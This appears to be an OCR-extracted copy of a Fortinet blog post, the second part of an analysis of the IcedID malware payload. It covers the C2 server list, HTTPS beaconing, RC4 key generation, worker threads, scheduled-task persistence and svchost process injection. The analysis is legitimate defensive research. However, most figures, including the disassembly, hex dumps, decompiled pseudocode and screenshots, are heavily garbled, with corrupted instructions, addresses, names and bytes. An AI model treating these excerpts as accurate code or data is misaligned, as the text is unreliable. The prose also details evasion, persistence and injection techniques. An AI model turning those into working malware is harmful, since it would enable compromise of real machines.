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In part I of this blog series, I demonstrated how to unpack the IcedID malware, hooking and process injection
techniques used by IcedID, as well as how to execute the IcedID payload. In this part below, let’s take a closer

look at the core payload.

0x01 Overview Of The Payload

The following is the entry point of the payload. It first unhooks the function RtlExitUserProcess. The core
function is implemented in the function sub_0x27FE(). Once the core module is executed successfully, the

program is entering into an infinite loop that ensures the svchost.exe process does not exit.

sub 442B2D proc near
Tairy eax, ds:dword 4474F8

esl, eax

func loadlibraries

eax, eax

short loc_442B52

I L
=
call sub 4427FE : core module
r
jnz short loc_442B66
[ K]
loc 442B52
esi, esi
short loc_442B70
I'L
¥ ¥
o = ™=
v eax, ds:dword_4474FB
ush 0 loc_442B70:
v eax, [eax+130h] pop esi
all dword ptr [eax+3Bh] ; RtlExitUserProcess etn 4
Fuh_ﬂlznzn endp
-iL

oc_442B66: ; m
< i OFFFFFFFFh
all ds:S5leep e
short 1Dr:_4”556_/ An infinite loop
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Figure 1. The entry point of the payload

Next, let’s look at the function sub_0x27FE().

signed int sub 4427FE()

int wl; // eax

anti_debug_ SetUnhandledExceptionFilter(); // anti debug
sub 442ATA(); // get e2 list
sub 44286C(); // get sid

do_mappingfile();
if ( sub 44376E() )

while ( 1 )

vl = sub_443B3C((LrWsTR) (IENDEEIEEEN + 324));
if ( vl > 0 )
break;
if ( v1 <0 )
goto LABEL 2;
Sleep(0x1388u);

}
LABEL_7:

ExitProcessa(0);
}
LABEL 2:
if ( l!sub_44276D() )
goto LABEL_7;
wrap createthread();
sub_445375();
sub_441BE6();
sub 444AD3();
sub_44202E();
return 1;

Figure 2. The function sub_0x27FE()

In the next sections, I will show you what the function does.

0x02 Two Injected Memory Regions

As you can see in Figure 15 of Part I, there are two injected memory regions into svchost.exe process. The first
one is a data segment whose size is 8KB. This segment stores several system API’s addresses at the beginning,

encrypted C2 server list as well as other useful info.

The following is the system API’s addresses. The program can invoke them indirectly by instructions like “call

[base_addr + offset]”. The way of indirectly calling system API is tricky to static analysis.

Address | Hex

00090000 LOL 00 00 00l 00 00 00 DDJoR &2 13 7 Jo0 00 00 00 -

0090010 6a 13 77100 00 00 00§ B SE 13 T7J00 00 00_00

00090020 6a 13 77000 00 00 oofgE dr 1% Y00 00 OO0 O

00090030 gE0 A0 15 S000 00 00 00jle EL 14 SSRO0 00 00 0O < .

00000040 | TE 5 13 77|00 oo 0o ooffo hE 1A 7700 00 00 0O System APIs's addresses
00090050 § 78 50 L3 77|00 00 00 00[FE-TIUC-OOT00 BA BS 8F .

00090060 | 0L TD EA[ BB DF 00 00| 0D BA BE B7| 01 00 DD BA
00090070 | B8 FF 55 BB\ EC 51 BB FF| 55 BB EC GA| 8B FF 55 BB
00090080 | EC 53 cC 50| 00 00 00 BA| 88 FF 55 8B(EC OF BB 7D 35I]...%.yu.3. }
00090090 | 00 00 00 eA| 00 OO 00 00| 00 00 00 000D 00 OO0 O0f ...%. .. ...ccuuus.
00090040 | 00 00 00 00| 00 00 00 00 00 00 00 QO] 00 00 OO 00) .......cunnan..

Figure 3. The system API’s addresses stored in the injected memory region
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The following is these corresponding API’s names for the addresses above.

0000 01 00 0O OO0 dd 1

0004 00 00 00 00 dd 0

0008 DB 52 13 77 ZwAllocateVirtualMemory dd 771352D8h
oooc 00 00 00 0O dd 0

0010 98 6A 13 77 ZwWriteVirtualMemory dd 77136A%98h
0014 00 00 00 0O dd 0

0018 18 5F 13 77 EwProtectVirtualMemory dd 77135F18h
ooic o0 00 00 0O dd 0

0020 18 6A 13 77 ZwWaitForSingleObject dd 77136A1Bh
0024 00 00 00 0O dd 0

0028 B8 22 15 77 LdrLoadDll dd 771522B8h

0oz2c 00 00 00 0O dd 0

0030 8D 22 15 77 LdrGetProcedurefddress dd 7715228Dh
0034 00 00 00 00 dd

0038 2B E1 14 77 RtlExitUserProcess dd 7714E12Bh
003C 00 00 00 0O dd 0

0040 78 57 13 77 ZwCreateUserProcess dd 77135778h
o044 00 00 00 0O dd 0

0048 7D 53 1A 77 RtlDecompressBuffer dd 771A537Dh
oo4c 00 00 00 0O 0

0050 78 59 13 77 ZwFlushInstructionCache dd 77135978h
0054 00 00 00 0O dd 0

Figure 4. These system API’s names

Additionally, it stores the encrypted C2 server list at offset 0x350.

Address | Hex Aol il
00090330 | 00 00 00 O0] 00 00 00 00] 00 00 00 00] 00 00 00 00] -..onn.eeeene-..
00 0000

00090240 | 00 00 00 00 00 00 00 s
OO0 94 44 SC N bC 4F /C 42 EU| 3F B/ 4b 3b| .DN10]...BaY-Fb
0009 08 B1 4C B3| 59 27 1A B7| 96 6B BE CA|91 17 2F &F| ..L%'...KXE../.
00090370 | 55 B7 CF FB|ED 72 B85 FA|FD 72 6C 90|58 Db 38 26| v-Goarpdayr].xi; &
00090380 | 0B 9D 48 BG| 45 21 1p 96| D6 7F E2 CB|FD 72 20 EO| . .KTE!..O. dfyr &
00090390 | 22 AS OF F9) E4 66 B2 FClE6 28 3a 99|55 D6 2a 54| "¥Raaf*ue(:.ud*T
00090340 | 69 F3 38 DE| 2c 535 69 F3|BE 1B CC AS| 91 OF 42 0| i680,uvi6, .1¥..Ba \
00090380 | 2F D6 AA 94| 89 03 cO OF| 8 06 42 E0| 2F o6 2a 54| /0%, . A, .. BAJO*T
000903cO | 69 F3 3B DB| 2C 55 69 F3| BB 1B CC A5| 91 07 42 0| i680,ui6,.1¥..6a
o6
(17
Db

00090300 | 2F D6 Aa 94| 89 03 cO OF| 82 06 42 EO| 2F D6 2a 54| /OB, . _A...BR/O*T Encrypted C2 server list
0009030 | 69 F3 38 DB| 2C 55 69 F3| BB 1B CC AS| 91 42 €0| i080,0i0,.1¥. .Ba e
000903F0 | 2F D6 AA 94|89 03 CO OF| 8 06 42 EO| 2F D6 2A 54| /G%...A...Ba/0°T
00090400 | 69 F3 38 DB| 2c 55 69 F3[BE 1B cC A5|91 07 42 €£0| i680,uis..1V..BA
00090410 | 2F D6 AA 94| B9 03 cO 9F| 8 06 42 EO| 2F D6 2A 54| /6%...A...Ba/0°T
00090420 | 69 F3 38 DB 2c 55 69 F3|B8 1B cC AS|91 07 42 E0| i680,0i6..1V..Ba
00090430 | 2F D6 Aa 94| B9 03 cO 9F| 8E 06 42 EO| 2F Db 2a 54| /0%, ..A...Ba/0*T
00090440 | 69 F3 35 DB 2c 55 69 F3|BB 1B cc A5|91 07 42 0| i680,0i6 .1¥..8a
00090450 | OO OO TR LR OILF ORI DR OLF O DR OLF OO D O] .. . s v e s v v m e s
00090460 | 00 00 00 00 00 00|00 00 00 00|00 00 00 00| .........ii.....
00090470 | 00 00 0D DO 00 00| 00 00 00 00|00 00 00 00f ...ooveeennnens
00090480 | 00 00 00 00|00 OO 00 00|00 0O 00 00| DO 00 0O OO

00 00

(0 00

00 00

00090490 | 00 00 00 00|00 00 00 00| 0D 00 00 00| - ooono oo,
00000440 | 00 00 00 00{00 00 00 0000 00 00 00| ... L.l
00 00| 00 0D 00 00 00 00 00 OO

an anl s an oan anl s fe oA an

0009040 | OO 0O

Aranne—n | o A

Figure 5. The encrypted C2 server list

The second memory region has three segments (one code segment and two data segments). The core function of

the payload is implemented in the code segment.

0x03 Communication With C2 Server

Let’s first look at how to get the C2 server list. As shown in Figure 5, the encrypted data are 256 bytes. And the
decrypted data is shown in Figure 6.

0023Fee8 (OO 00 OO OO ES 4C BC 06| OB OO0 00 00| 10 b6l b6C bJ L& ..alk......

0023FBCE o

0023FBDB zambiquest.pw. . r .
0023FBER ansmittend. club. . Cz server I|5t
0023FBFE summerch. xyz. .

0023Fc08

ARIIcm1R
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Figure 6. The C2 server list
We can get the initial C2 server list.

albarthurst/[.]pro
mozambiquest[.]pw
ransmittend|.]club

summerch/.[xyz

IcedID uses the WinHTTP APIs to communicate with C2 servers. It sends a request and receives the response over
HTTPS. We can intercept the HTTPS traffic via Fiddler. But before using it, we have to set WinHTTP’s Proxy.
On Windows Vista and later, we need to use an elevated (admin) command prompt to call netsh like the following.

The detailed instructions please refer to https://www.telerik.com/blogs/using-fiddler-with-winhttp.

B Administrator: C\Windows\System3 2vemd exe

Microsoft Windows [Uersion &.1,7601) -
Copyright (e¢) 2009 Hierosoft Corporation. ALl rights reseruved.

ystem32inetsh winhttp set proxy 127.0.0.1:8
Current WinHTTP proxy settings:
Serveris) : |127.0.0.1:8

List : (none)

Fidder's default pres

Figure 7. Set WinHTTP’s Proxy

The following is the decrypted HTTPS traffic IcedID sent in Fiddler.

> pownload 7 .Dat config files

Figure 8. The decrypted HTTPS traffic IcedID sent in the initial stage

In the initial stage, IcedID could send a HTTP request over SSL to the C2 server. Then it parses the response and
continues to send 7 HTTP requests over SSL to download seven .DAT config files. Next, let’s dive into the URL
parameters of the HTTP POST request. I highlighted some key items.
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TaxdiD veesden

POST https://mozambigquest.pw/in.php?g=2&c=06BCACES19AAZ6ACEEED=0E r=10841=056n=0580=06k=17947&a=8&1= HTTP/1.1

Connection: Keep-Alive
Content-Type: application/x-www—Tform-urlencoded

Content-Length: 248 Bok Td as RGE Dl

Host: mozambiguest.

Figure 9. The HTTP POST request’s URL parameters

The first one is the Bot ID which is also used as RC4 key to encrypt the original .DAT config files. The parameter
‘r’ indicates the version of IcedID. Its version number is 108 in this sample. Regarding the RC4 key generation

algorithm, I will unveil its details in next section.

0x04 RC4 Key Generation Algorithm

The function sub_0x29E2 is used to generate the RC4 key whose size is 4 in bytes.

7| cffpnt: Ox2HBF

i AL T pased frame fpd=78h

enerate_RC4_key proc near I

uifar= word pitr -0Bd4R

id= byte ptr -54h

ar_4i= gwerd ptr -40h

ar_40= dword ptr -40h

Upa= dword ptr =-14h

bEide dword ptr =10h
yotonTimeAsFlleTimes FILETIME ptr =0Ch
Elpew dword ptr =d

wih ebp

Lea sbp, [esp-78h]
-] esp, 0Bhdk
ush LT
ush edi
I | ush IFh
t | P edi
lea sax, [ebp+7Bh+nSize)
v [ebp+TaR+nEize], edi
uah max i niize
Lea sax, [ebp+7iheBuffer]
v [ebp+TibeckEid], 40h
ush sax 1 lpBuffer
'3 asi, esi
ush ani ! HamaTyps
all ds rGetComputerHansEx
st eax, oax

short loc 442A1B
I'1

aax, [abp+TEhépalins]
[ebp+T8h+nEize ], edl
BAX @ palse
eax, [ebp+TBh+nsSize]
fax : echiefererncedionainName
eax, [ebp+TEh+Buffer]
aax i ReferencedDors inNam
oax, [ebp+TihrebSid]
[Tt 1 cb&id
sax, [ebpsTEh+5id]
Bax 1 Gid
eax; [ebptTEhtBuifer)
aax 1 lpAccountName
a8l i lpSystemNane
da : LookuphcoountHane®
BaAX, fax
ahart los 442A10
¥ [ ]
= ™=
v eax, dword ptr [ebp+TEh+var 48]
v [ebp+TEh+SystenTinehsFileTine . dvlowhateTine], eax ||loc_442A1B:
v eax, dword ptr [ebp+TEhtvar 48+4) lea . [ebp*TEh+SystenTimehsFileTing]
v [ebp+TEk+SyatenTinehsFLleTine  dwllighDateTine], cax |puor £, eai
v eax, [ebp+iBhevac 40] ah aax i LpSystenTimahaFileTine
ndd [abp+ Tik+EyatanTinahsFLleTine . dvlovbateTine+l ], aax||ins i
jmp short loc 4421A18 all dé GatiystenTimaAarFilaTing
! % F 1|
=
Hoc 44ZA28:
mov ocx, [abp+TBb+SyatasTisehsFileTiss . dwllighDateTing ]
e ocx,; [ebp+Tib+iyrtenTinehsFileTime .dwlovidateTime]
[ doiATAABR, ecx
moy ;
BAN, BCK i r =
pe  eax, i gCX s the RC4 key, which igstored at offset Ox74A8
Bov BAX, BCEK

Figure 10. The RC4 key generation algorithm
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The RC4 key is stored at offset 0x74A8 from starting address of the second injected memory region. Then the
RC4 key is also copied to the buffer at offset 0x74B8.

0x05 Multiple Threads For Cooperative Work

IcedID could create multiple threads to perform different tasks. Based on my analysis, there are five child threads
created by invoking the function CreateThread. Some threads are always running, the others would exit after

completing their tasks depending on the received C2 command. Here I list their thread functions below.
Thread 1 - Thread Function 0x2601

This thread function is mainly responsible for the initial communication with C2 server, handling the HTTP
response, as well as downloading the .DAT config files or other types of files depending on the HTTP response

and storing them into the corresponding folders. The following is the pseudo code of this thread function.

Thread function 0x2601

- 23
= "'ii-Din-ﬂiu-O&k-ﬂ?ﬁ&Jin-!il-";
while { 1)

{

{ Generate the url parameter, vll pointe to the buffer stored the parameter, the return value is the lenght of buffer.

v fF The return value points to the buffer stored the http request body.
v1l vy

it vz )

i

vld = letrlenA((LFCETRIvI)]
vl = 0Oy
1
1
piem = 0O)
if {[¥rap_comsunlcatewlEhCE] (DWORD&savedrags, (LRt)evd, [int *)elpMes, ev16) |
if | lpMem && vwiE )
i
- /7 Handle http response, in next step, it continues to download the 7 .dat files, and write these files into the corresponding folders.
if ( TpHER

v5 = GatProcessiieap();
HeapFras(vs, 0, wi)y

else

v7 = GatProcessBeap();
HeapFree(v7, 0, vé)p
13 = 0y

14 = 0;

vi = 1;

00002601) sub_442601:2 (442601)

Figure 11. The thread function 0x2601

In this infinite loop, it waits until the specified object is in the signaled state or the time-out interval (here it’s 5

minutes) elapses. Then it generates the URL parameters and HTTP request body. Next, it could communicate with
C2 server over HTTPS. Finally, it handles the HTTP response and continues to download the .DAT config files or
other files depending on the parsing result of the HTTP response. This thread doesn’t exit and is always running to

communicate with the C2 server.
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When IcedID is executed at the first time, the initial communication traffic is shown below.

() statstcs | & Inspectors | £ AutoResponder | #f Composer | ] Log | (7] Fiters | = Timeine | | APrTest.
Headers | TextView | WebForms | HexView | Auth | Cookes |[Raw | JSON | XML

[Connection:
|[Content-Type: app‘licatiunfx-m -form-urlencoded
[Content-Léngth: 248

HOST: mOI fquest. pw

r;:! o ol - I Pon=ss 7500054 900X AEX00X20X00%3 1H00MS DH00MAIX00%4 450053 90035 KO0KAEXDORAEXDN I IHO0MATHO0%
4 SWIFWEWIWI?mmlFm!mWM]-?&U[]-BEGGJC4F-IF5MU [] =000C290FES8585=6.1.7601.1.32.1

IFnd...L:rtssC:rHEnner to highiight all) | viewinNotepad |

GetSyntaxView | Transformer | Headers  TextView | ImageView | HexVisw  WebView | Auth Caching | Coockies | | Raw JS0ON XL

HTTP/1.1 200 0K

SErver: Oopenresty

Date: Sat, 22 Jun 2019 05:49:12 GMT
IConnection: keep-aliwve
[Content=Length: 46

Figure 12. The initial communication with C2 server

As shown in Figure 12, the response is a multiple-line message. Each line is a C2 command consisting of three
parts that are separated by a semicolon. The malware could call the corresponding handler function to complete
specific task based on the C2 command number. The first part represents the event ID, the second part represents
the index of handler function, the third part represents the parameter passed to the handler function. The

following is the call to handler function.

8eg001:00041352 ' === — I .

8eg001:00041352 loc_441352: § CODE XREF: sub 441308+2FT§

seg001:00041352 8B 45 08 mov oax; [lbp—larq 0]

seg001:00041355 83 F8 12 cmp eax, . .
segl01:00041358 73 08 jnb almrt luc 441362 eax is the index
8eg001: 00041354 56 push
seg001:00041358 FF 14 B85 00 AD 04 00
88g001:00041362

seq001:00041362 loc 441362 } CODE XREF: sub 441308+48T4

i call the corresponding handler base on the index

seg001:00049FFD 00 db o

weg001100049FFE 00 db o

seg001:00049FFF 00 db i}

eeg001:0004A000 13 12 04 00 handler_off_ 44A000 dd offset sub_441213 l];;l\ XREF: sub 4413084537
%

#agl01:0004A000
weg001:0004A004 56 12 04 00
#eg001:0004A008 00 10 04 00
seglil:0004A00C BO 18 04 00
seg001:0004A010 50 18 04 00
#eg001:0004A014 34 18 04 00
seg001:0004A018 A3 10 04 00
®ag001:0004A01C F2 10 04 00
8eg001:0004A020 C6 11 04 00
#eg001:0004A024 81 11 04 00
segl0l:0004A028 19 12 04 00
seq001:0004A02¢ 24 12 04 oo Handler functions
8eg001:0004A030 96 14 04 00
seglil:0004A034 04 14 04 00
seg001:0004A038 6A 13 04 00
seg001:0004A03C FB 14 04 00
seg001:0004A040 40 11 04 00
seg001:0004A044 32 10 04 00
=eg001:0004A048 2C 01 00 00 dword_44n048
seg001:0004A048

seg00l1:0004A04C 00

seq001:0004A04D 00

otlut sub_ 441256
t sub_441000

sub_441880
sub_441850
sub_441834
sub_4410A3
t sub_4410F2
sub _4411C6
sub_441181
sub_441219
sub_441224
sub 441496
sub_ 441404
sub_44136A
sub_4414F8
sub_441140

index 1
index
index

g
R

12ch i DATA XREF: sub 442074:loc 44208DTw
; sub 442601:loc 44262DTr

&6 S@RERRRRARAREERERE

Figure 13. The call to handler function and all handler’s addresses

In this IcedID sample, it supports 18 different types of C2 commands.
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Thread 2 - Thread Function 0x5599

This thread function is responsible for downloading .DAT config file and other types of files (such as executable
file) from C2 server, and saving these data into the local files. For .DAT config files, the HTTP response body is
encrypted twice by RC4 algorithm with two different keys. Let’s take a closer look at the encryption process. The
following is the HTTP response from C2 server.

Mesders | Testwew | Webforms | Mewvew | Auth | Coskes | [Rew | JSON | M

1):..:“1'_2!‘.-{3 R Ow 10, eoe o 2R = OR B SCLE L IAAEAL BEAC=CRC = 1 DRAD=0 -
ection: Keep-Alive L]

l‘: : mOranEigQuest.pw
[Fre ress coiotmm s rmpighe ol e .m ket dat |
— — — = — Offser (n) ¢ 03 04 05 0E 07 08 09 OA OB Decoded text
2o000000 L
00000010
0o000020
0o000030
00000040
00000080
DO0OO0ED
000000TD
oogdd0en
0O0U00SD
. - Ly DODOOOAD
....... i 2 i Bl tag_ LED ldootd | Q000080
[ % or 5, Hemsle ¥ 14 po0OooCD
- o R 00600000
Mo Hlere el i PO000OED
AP0 . ak e DOLUOOFD

#¥ E1TLTéo egalt
theda

CEA._*Badt isad
E.)eepbnln, vuig
J“Ei e petligtch
STERE. LS e A
4.5~ 1. . 10 60
[T 2L e
fl_lC- & B i}
e

Data buffer

00000100

Qo000130
00000140
00000150

ol ofbody 32 [Ox14c] byles selected

Offsec(h) 00 01 O 03 04 05

00000000
00000010
Qoo00RI0
oo000030
0oooo040
00000050
00000060
00000070
000000ED
00000090
000000AD
00000RBD
000000C0
0ooo00Da
00000RED
000000FD
00000100
00000110
ooo00120
00000130
00000140
00000150

02 0% OA OB OC OD OE OF

Ep. MAgERITEAd . X

Wz

PETpbd 7ot OaR
L E]

Figure 14. Two-layer RC4 encryption process on HTTP response body

As shown in Figure 14, the first 8 bytes in the HTTP response body is the first layer’s RC4 key. The length of

second RC4 key is 4 in bytes. Its generation algorithm refers to the section “RC4 key generation algorithm”.
Thread 3 - Thread Function 0x2E59

This thread function is responsible for copying the IcedID PE file into "C:\ProgramData\{ 0CD48D26-D226-
4D28-9E39-3D2840658FD3}\{8CD48D26-D226-4D28-9E3A-3D2844658FD3}\qgbjaykqtsu.exe" and scheduling
a task at logon. The name of the sub-directory may differ on different compromised machines. The scheduled task

is shown below.

Page 8 of 16



https://www.fortinet.com /blog/threat-research/icedid-malware-analysis-part-two.html|

((®) Task Scheduler
File Action View Help

«%| rE @D
@ Task Scheduler (Locll paee Status. Iriggers
 Task Scheduler Lilfs 1norag495-5955-4803-90134-ICFBIG5EFSE] Riachy At log on of WIN-1PCOSSNNIGOLL= 8 _|

[DCEKBAS5- £995 4803 -9034- ICHFRBE5EFRE] Properties (Local Computer] 3 L) repest every 0400400 for o durstion of 1 der.

. | ted, repeat every (40000 for a duration of 1 da
General | Triggers| Aictiars | Conditions | Settings | History (disabled) e avary ' ¥

When you oeate a task, you must spedfy the action that will ocour when youwr task starts

=

Action Datails
Start a program | _CAProgramDatay[0CD48026-D2 26-4D28-9E29-,., ]

":-.\ngramnaln_ﬂ[ocm-snmnzza-anza-a E39-3D2840658F D3)\[BCD48 Dza-uzz&-anzs-s&sn-snzadusrm 3]\qgbjaykqtsu.exe”

Figure 15. Schedule a task at logon

Thread 4 - Thread Function 0x1F9B

This thread function is responsible for communicating with C2 server. This thread is created in the handler

function which handles the C2 command 17 in Figure 13.
Thread 5 - Thread Function 0x52FC

This thread function is responsible for creating three new svchost.exe child processes and injecting code into these

processes’ space.

DWORD _ stdcall Thread func_process_injection(LPVOID lpThreadParameter)

HANDLE w1y /f eax
void *v2j f/ esi
HANDLE v3; // eax
DWORD ExitCode; f// [esptih] [ebp-ih]

dia
vl wloreateprocess _and injection{{int)lpThreadParameter)]
s; ? |::|r ] HANDLE cdecl createprocess_and_injection(int al)
'l-:::uréiugl‘ﬂbjaut[v;. OxFFEFFEFF); ;Eﬁﬁmm T::ﬁ?inﬁ?l_ﬂif)gup-#nl [ebp-£4h]
L A Yo\ RRCLECOARID struct _PROCESS_INFORMATION ProcessInformation; // [esptSCh] [ebp-10h]

CleseHandle|vi);

4386 )5 vrnp_ml.[::LaL‘L_‘p:r.rO. 0, Oxddu);
ter )

v1 = GatProcessHeap())

HeapFree(v3, 0, lpThreadParameter)j CREATE SUSPENDED
{int)&Commandriefe) g
e 0y B 0y 0, 0,

TYpL_! gned int *}
if ( ICreateProcessh(0,

1
return 0; gStartupinfe, eProcessinformation) )

{/ process injection

Thread function 0x52fc

Figure 16. The thread function 0x52fc

As shown in Figure 16, IcedID creates the svchost.exe child process with parameter CREATE_SUSPENDED. The
primary thread of the new process would be in a suspended state, and the newly created process does not run until
the ResumeThread function is called. Before resuming the primary thread, IcedID performs the code injection
into the new process space. After that, it calls the ResumeThread function. The pseudo code of the injected code

is shown in Figure 17.
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int _ cdecl func_process_injection(int al, int al)
{

int w2; // eax

signed int v3; // esi

HANDLE wvd; // eax

HANDLE v5; // eax

DWORD w73 f/ [eap+Oh] [ebp=-2Ch]

void *v8; // [esp+dh] [ebp-2Bh]

int v9; J// [esp+Bh] [ebp-Z4h]

int wl0; // [ebp=20h]
int wllp /S [ebp-1Ch]
int wl2; /J/ [ebp-18h
int wl3; /J [ebp=14h]
int wldy /f [ebp=-10h]
int w155 // [ebp-Ch]
int vl16; // [ebp-Bh]
int w173 I'r [ebp-4h]
v17 = #( DWORD *)(a2 + 10);
w2 = w( DWORD *)(aZ + &) + 14;
vll = Qp
vl2 = 0;
v1l5 = a2 + vwi;
vl o= @mls
vl = a2 + 14;
v1li = 03
vid = H
vie = Q0x
v3 =|wrap NtAllocateVirtualMemory 0{&v3) ;| f/ Allocate three memory regions in remote process space
if [ vI )
vi =|gub 444EDO(&VH) ;| // Decrypt the injected code
if (V2 )
{
vi = wrap wrap ZwWriteVirtualMemory O(&v9)}// Inject code into previous allocated thress memory regicns
if [ V3
w3 -[E%3E:EEI!EIEUEEEFEEEEEETT?FT?1 /{ Hook RtlExitUserProcess in remote process space
}
}
if ( w13 )

vi = GetProcessHeap();
HeapFree(vi, v7, wB);

%Hm, njest cede inke svehest.c:ms child preocess

v5 = GetProcessHeap();
HeapFree(vs, vi, vEB);

return vij;

Figure 17. Inject code into svchost.ext child process

In the injection function, it first allocates three memory regions into the remote process space. Then it decrypts the
injected code from DAT config file. Next, it performs the code injection into previous allocated three memory
regions. Finally, it sets up a hook at RtlExitUserProcess API in the remote process space. Next, let’s continue to

analyze which DAT config file is injected into the corresponding child process.
1. yxuvgoshgc.dat(748961aabd75b85ee602e5f6d70322b281930349fbc98ad5c638104a759ebalb)

This DAT config file is injected into the child process 1 like the following. There are three memory regions to be
injected into the child process 1. The first one is the injected code segment. The second one is a data segment

including several system API’s addresses and updated C2 server list. The third one is a PE file.
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87 svchost.exe [4188) Properties - =& =
— e e - — - -
General | Stafistics | Performance | Threads | Token | Modules| Memory Environment | Hendles | GPU | Comenent
e e s Injlectsd swehest.ass chilld procsss 1 s e
Hase address Type Sipe Proteciion  Use Total WS Privabe WS Shareable WS Shared WS Locked W5
(10000 Magped o4 K RW et (1D 2) 4 ki) 4k 418
4 Trfvate W W bl ] ]
0000 Private: Commit AkE RW 4 kil EL] [ Injected cade segment
U000 Private: Commit 4B RY A ] J e
2000 Private: Commit 12 8 R 12 K 12
Happed 16kE R 16kl U ki 16 kB
Coed3O00 Happed 4l R Akl 4 kil 4k8
OeS0000 Private Ak RW Akl 408
CoelsO00 Mapped 413 kB R [t 33 \locale.nls 156 kil 19 kH 188 kB
o Ooegh0000 Private Ak RW 4 kB 448
L0000 Prbiatu: Commit LLlL L] A |~ Injected data segment including several
[T ] Private 25 kB RW ack (Thread 2468) 4 kB £l . .
] Vvt TR T i) T ET system API's addresses and updating C2
0140000 Privabe; Commit 60 kB RN 250 ki 2601 bE . .
2500001 Private 256k RW ‘Sack (thread 4324) 12 kB 12 k8 server list from C2 DAT config file
e 50000 Private [ =@ sz |
P B swchostexs (4185) (0140000 - (161000} == 1548
&?53:m 00000000 00 Oa 04 OO0 %0 00 03 00 00 00 04 OO0 OO0 OO0 [ e
’ ¥ 0 Oa " ) 0 ... "
:;;‘, 00 00000010 ££ £f 00 00 bE 00 OO 00 OO 00 OO OO 40 OO 00 OO ... - : gg
Q0000020 00 00 00 00 Q0 00 OO0 00 Q0 00 G0 Q0 00 Q0 00 00 —
e SO0 b QOOROAI0 00 O 00 00 Q0 00 O 00 00 00 00 00 00 00 90 OB ... | 20k >
o7 P0-R0000 Irnage 00000040 B0 00 00 0D Oe 1f ba Oe 00 b4 0F od 21 BE 01 de ... | S0k
Coa7 MOED000 g Q0000050 od Z1 54 6B 6% 73 Z0 0 T2 6f €7 7% €1 &4 20 &3 | 296 kB
TR0 Trmiage OO0B0060 61 G Ge &F T4 20 62 65 20 72 75 6= 20 6% 6= 20 annot be run in ) 1
e FRBRO000 Mapped Q00000TO 44 4f 53 20 64 Ef 64 E5 2e 04 04 Oa 24 00 00 00 DOS mode,...5... ! 2048
PHLO000 Q00000080 00 OO0 00 OO 50 45 00 00 4c 01 04 OO0 44 42 £0 5% ....PE. . L...MB. Y
;:"“. :“m 00000090 00 00 00 OO 00 00 OO 00 &0 00 O& 21 Ob 01 02 32 ... sesalusa2 | au
000 ao0Go0a 04 10 00 OO @0 £6 03 40 OO0 00 GO OO0 00 10 00 0B ...
CoePHce000 Private Q00000L0 00 L0 00 00 00 30 OO0 00 OO 00 0 40 00 10 00 OO ...
CoeFfO00 Private 00000020 00 02 00 OO O4 00 OO 00 OO 00 00 OO0 O4 OO0 00 OO ...
O Afe0000 Private 00060040 00 00 00 00 00 40 04 00 00 04 00 JPim dimCEdia A . 4 kB
0000000 03 00 00 OO G0 00 10 00 00 10 tu!n E.Etﬁ!;! PE—,
QO0000E0 00 X0 00 OO0 00 00 OO0 OO0 L0 OO0 00 OO0 WO 00 00 OO0 ...
Q0000100 00 OO0 00 OO 48 20 04 OO 30 00 00 OO0 OO0 OO0 00 OO0
00000110 00 00 00 OO OO0 00 OO0 00 OO 00 00 OO0 00 00 00 GO
QOOBOLZ0 04 OO 00 OO G0 30 04 00 B4 00 GO 00 00 00 00 OO
Q0000130 00 00 00 00 00 00 OO0 00 OO 00 00 00 00 00 00 o0 o
- road writs Goto.. |[ibbyesperiow x| | swe. || cow % 0@
OJme | o

Figure 18. Injected svchost.exe child process 1

The hooked RtlExitUserProcess in child process 1 is shown below. When the RtlExitUserProcess function is

called, it jumps to 0x210DF(offset:0x10DF) to execute the payload.

¥ suchostexs - PID: 105 - Module: ntdildil - Thread: 1064 - x32dbg

| Fik W Dk Trace Plugins Fareourites Options Hed ]un lg zull;
PRI BELAIEEYN FA TSI ZNTY R .
| B ov @Guph | | jlog | MNotes | ® Breakpoints | ® MemoyMap | [/ Calstack | s seH | o soipt | @) symboks | ¢
= |[7714E128 a0 g

L] 14E129 1]
. TTI4EL2A 9

1 = |[7714E128 ~ E9 AFIFEDEE . RE1Ex] tisarProcess
- 14130 53 push ebx
. 36 push esi
. €all ntd11.7714ELEC
& mow edi mtdl ). 771CT 340
. push edi
" ] ES SBOGFEFF Ea1N <ntd17.RtiIEntercritical Sections
- 14E145 BE BOT3I1C7T moy esi  ntdl].771CT 38
. L4E14a 171 push esi
# |l 77146148 ES SO9G6FEFF a1l <ntdll.RtlEntercritical Section=

Figure 19. Hooked RtlExitUserProcess in svchost.exe child process 1
2. uvgbwwwijcc.dat(b1d9d9bb617463alcef665322949b29ad23ebfee2892908385b30cd739¢c163ce)

This DAT config file is injected into the child process 2 like the following. There are three memory regions to be
injected into the child process 2. The first one is the injected code segment. The second one is a data segment

including several system API’s addresses and updated C2 server list. The third one is a data segment.
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W7 swchostexs (5640) Properties’ — =@ B8

Ganpral | Statstics | Performance | Thieads | Token | Modules| Memory Environmant | Handkes | oY | Gomennt

Bt linjecied swdvost.ast dhilld procsss 2 [t

Barse address Type Size Proteciion  Use Total WS Privabe WS Shaneable ‘WS Shered WS Lodoed WS
e 100800 Happed 6448 RN Heap {10 2) 418 EY:| 448
T S T T AW TE 7
20000 Private: Commit a8 RW ak8 £l ] Injected code segment
L i) Private: Commit 1218 RX 1218 12EE
2 Private: Commit 16 WE_EW L b 16 kR
Con 300 Hagppad 1648 R 16k 16 ki 16k
o000 Happad 4M8 R 4 k8 418 4B
QeSD000 Private 448 RW 418 T Ini " "
ected data segment including several
e Happad 41248 R C:inchows Syt 32 locabe.nls 334 k8 3418 26iE g g 58
FIET o) Private A8 RW =] 2 ] = system API's addresses and updating C2
o 148 & ks i server list from C2 DAT config file
i CooeD0M Private 12448 RN 12418 L34 6l
e CR0 Privale: Commit 124 8 EW 124 k8 124 kR
Cre A0 iyate 255 iR Bl ol Mol L1 FiT Ak
oDl P 7 svchostexe (5640} (00000 - CxfFOD0Y = & X
Cre 30000 Pri
O 70000 Trage COO00O00 79 40 OL 00 OO0 OO0 00 10 O0 OO0 OO OO 00 S0 01 00 A - 15 kB
e P2 D00 Image 0000010 £0 66 00 00 T 11 01 00 of 34 01 00 00 B0 01 00 . B G e
oo scA0000 Image 00000020 04 OF 00 00 05 OB 00 00 00 B0 01 00 00 10 00 OO . 2048
CFSA0000 Image 00000030 7% 00 00 00 OO0 10 O0 00 O4 00 00 01 00 £3 11 00 B4
o P000 Tmsge COOGDO4D 00 9 19 00 0O OB 00 00 04 04 00 60 01 00 00 10 Ly, 2048
